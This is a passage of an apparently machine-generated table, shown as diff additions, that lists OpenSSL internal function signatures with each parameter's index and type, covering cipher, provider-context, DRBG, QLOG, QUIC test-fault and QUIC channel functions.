ossl_ccm_generic_auth_encrypt | 4 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 5 | size_t | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 1 | size_t | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 2 | const PROV_CCM_HW * | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 0 | PROV_CIPHER * | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 1 | const OSSL_PARAM[] | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 2 | OSSL_LIB_CTX * | +| (PROV_CIPHER *,const PROV_CIPHER *) | | ossl_prov_cipher_copy | 0 | PROV_CIPHER * | +| (PROV_CIPHER *,const PROV_CIPHER *) | | ossl_prov_cipher_copy | 1 | const PROV_CIPHER * | +| (PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *) | | ossl_cipher_hw_tdes_copyctx | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *) | | ossl_cipher_hw_tdes_copyctx | 1 | const PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 1 | const unsigned char * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | size_t | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 1 | const unsigned char * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 3 | size_t | +| (PROV_CTX *) | | ossl_prov_ctx_get0_core_bio_method | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_core_get_params | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_handle | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_libctx | 0 | PROV_CTX * | +| (PROV_CTX *,BIO_METHOD *) | | ossl_prov_ctx_set0_core_bio_method | 0 | PROV_CTX * | +| (PROV_CTX *,BIO_METHOD *) | | ossl_prov_ctx_set0_core_bio_method | 1 | BIO_METHOD * | +| (PROV_CTX *,OSSL_CORE_BIO *) | | ossl_bio_new_from_core_bio | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_CORE_BIO *) | | ossl_bio_new_from_core_bio | 1 | OSSL_CORE_BIO * | +| (PROV_CTX *,OSSL_FUNC_core_get_params_fn *) | | ossl_prov_ctx_set0_core_get_params | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_FUNC_core_get_params_fn *) | | ossl_prov_ctx_set0_core_get_params | 1 | OSSL_FUNC_core_get_params_fn * | +| (PROV_CTX *,OSSL_LIB_CTX *) | | ossl_prov_ctx_set0_libctx | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_LIB_CTX *) | | ossl_prov_ctx_set0_libctx | 1 | OSSL_LIB_CTX * | +| (PROV_CTX *,const OSSL_CORE_HANDLE *) | | ossl_prov_ctx_set0_handle | 0 | PROV_CTX * | +| (PROV_CTX *,const OSSL_CORE_HANDLE *) | | ossl_prov_ctx_set0_handle | 1 | const OSSL_CORE_HANDLE * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 1 | const char * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 2 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | int | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | int | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | int | +| (PROV_DIGEST *,EVP_MD *) | | ossl_prov_digest_set_md | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,EVP_MD *) | | ossl_prov_digest_set_md | 1 | EVP_MD * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 1 | OSSL_LIB_CTX * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 2 | const char * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 3 | const char * | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 1 | const OSSL_PARAM[] | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 2 | OSSL_LIB_CTX * | +| (PROV_DIGEST *,const PROV_DIGEST *) | | ossl_prov_digest_copy | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,const PROV_DIGEST *) | | ossl_prov_digest_copy | 1 | const PROV_DIGEST * | +| (PROV_DRBG *,OSSL_PARAM[]) | | ossl_drbg_get_ctx_params | 0 | PROV_DRBG * | +| (PROV_DRBG *,OSSL_PARAM[]) | | ossl_drbg_get_ctx_params | 1 | OSSL_PARAM[] | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 0 | PROV_DRBG * | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 1 | OSSL_PARAM[] | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 2 | int * | +| (PROV_DRBG *,const OSSL_PARAM[]) | | ossl_drbg_set_ctx_params | 0 | PROV_DRBG * | +| (PROV_DRBG *,const OSSL_PARAM[]) | | ossl_drbg_set_ctx_params | 1 | const OSSL_PARAM[] | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 0 | PROV_DRBG_HMAC * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 1 | unsigned char * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 2 | size_t | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 3 | const unsigned char * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 4 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 0 | PROV_GCM_CTX * | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 1 | const unsigned char * | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 0 | PROV_GCM_CTX * | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 1 | const unsigned char * | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 2 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 3 | unsigned char * | +| (PROXY_CERT_INFO_EXTENSION *) | | PROXY_CERT_INFO_EXTENSION_free | 0 | PROXY_CERT_INFO_EXTENSION * | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 0 | PROXY_CERT_INFO_EXTENSION ** | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 1 | const unsigned char ** | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 2 | long | +| (PROXY_POLICY *) | | PROXY_POLICY_free | 0 | PROXY_POLICY * | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 0 | PROXY_POLICY ** | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 1 | const unsigned char ** | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 2 | long | +| (QLOG *,BIO *) | | ossl_qlog_set_sink_bio | 0 | QLOG * | +| (QLOG *,BIO *) | | ossl_qlog_set_sink_bio | 1 | BIO * | +| (QLOG *,OSSL_TIME) | | ossl_qlog_override_time | 0 | QLOG * | +| (QLOG *,OSSL_TIME) | | ossl_qlog_override_time | 1 | OSSL_TIME | +| (QLOG *,uint32_t) | | ossl_qlog_enabled | 0 | QLOG * | +| (QLOG *,uint32_t) | | ossl_qlog_enabled | 1 | uint32_t | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 0 | QLOG * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 1 | uint32_t | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 2 | const char * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 3 | const char * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 4 | const char * | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 0 | QLOG * | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 1 | uint32_t | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | int | +| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 1 | const unsigned char * | +| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | size_t | +| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 1 | qtest_fault_on_datagram_cb | +| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 2 | void * | +| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 1 | qtest_fault_on_enc_ext_cb | +| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 2 | void * | +| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 1 | qtest_fault_on_handshake_cb | +| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 2 | void * | +| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 1 | qtest_fault_on_packet_cipher_cb | +| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 2 | void * | +| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 1 | qtest_fault_on_packet_plain_cb | +| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 2 | void * | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | size_t | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | size_t | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | size_t | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | size_t | +| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 0 | QTEST_FAULT * | +| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 1 | unsigned int | +| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 2 | unsigned char * | +| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 3 | size_t * | +| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 4 | BUF_MEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_release | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_release | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 2 | uint32_t | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_demux | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_engine | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_port | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_ssl | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_tls | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_diag_num_rx_ack | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_qsm | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_short_header_conn_id_len | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_statm | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_init | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_net_error | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,BIO_ADDR *) | | ossl_quic_channel_get_peer_addr | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,BIO_ADDR *) | | ossl_quic_channel_get_peer_addr | 1 | BIO_ADDR * | +| (QUIC_CHANNEL *,OSSL_QRX *) | | ossl_quic_channel_bind_qrx | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QRX *) | | ossl_quic_channel_bind_qrx | 1 | OSSL_QRX * | +| (QUIC_CHANNEL *,OSSL_QRX_PKT *) | | ossl_quic_handle_frames | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QRX_PKT *) | | ossl_quic_handle_frames | 1 | OSSL_QRX_PKT * | +| (QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_channel_on_new_conn_id | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_channel_on_new_conn_id | 1 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_CHANNEL *,QUIC_CONN_ID *) | | ossl_quic_channel_get_diag_local_cid | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_CONN_ID *) | | ossl_quic_channel_get_diag_local_cid | 1 | QUIC_CONN_ID * | +| (QUIC_CHANNEL *,QUIC_STREAM *) | | ossl_quic_channel_reject_stream | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_STREAM *) | | ossl_quic_channel_reject_stream | 1 | QUIC_STREAM * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 1 | QUIC_TICK_RESULT * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 2 | uint32_t | +| (QUIC_CHANNEL *,const BIO_ADDR *) | | ossl_quic_channel_set_peer_addr | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *) | | ossl_quic_channel_set_peer_addr | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 2 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 3 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 2 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 3 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 4 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const QUIC_CONN_ID *) | | ossl_quic_channel_replace_local_cid | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const QUIC_CONN_ID *) | | ossl_quic_channel_replace_local_cid | 1 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | int | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 1 | int | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 2 | uint64_t | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 1 | ossl_msg_cb | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 2 | SSL * | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 1 | ossl_mutate_packet_cb | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 2 | ossl_finish_mutate_cb | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | void * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_new_stream_remote | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_new_stream_remote | 1 | uint64_t | +| (QUIC_CHANNEL *,uint64_t) | | 